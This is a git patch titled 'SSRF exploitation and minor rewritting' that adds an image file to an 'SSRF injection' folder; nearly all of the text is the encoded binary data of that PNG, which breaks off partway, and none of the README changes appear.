From 1547338f84b05b58a749155729b221cd0dd44434 Mon Sep 17 00:00:00 2001 From: Swissky Date: Sun, 13 Jan 2019 22:27:11 +0100 Subject: [PATCH] SSRF exploitation and minor rewritting --- SSRF injection/Images/SSRF_stream.png | Bin 0 -> 68414 bytes SSRF injection/README.md | 50 +++++++++++++++++--------- 2 files changed, 33 insertions(+), 17 deletions(-) create mode 100644 SSRF injection/Images/SSRF_stream.png diff --git a/SSRF injection/Images/SSRF_stream.png b/SSRF injection/Images/SSRF_stream.png new file mode 100644 index 0000000000000000000000000000000000000000..5845dab2001474057508c4b21738cf3543ddc56c GIT binary patch literal 68414 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 n(_S*5P5WCOfI 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 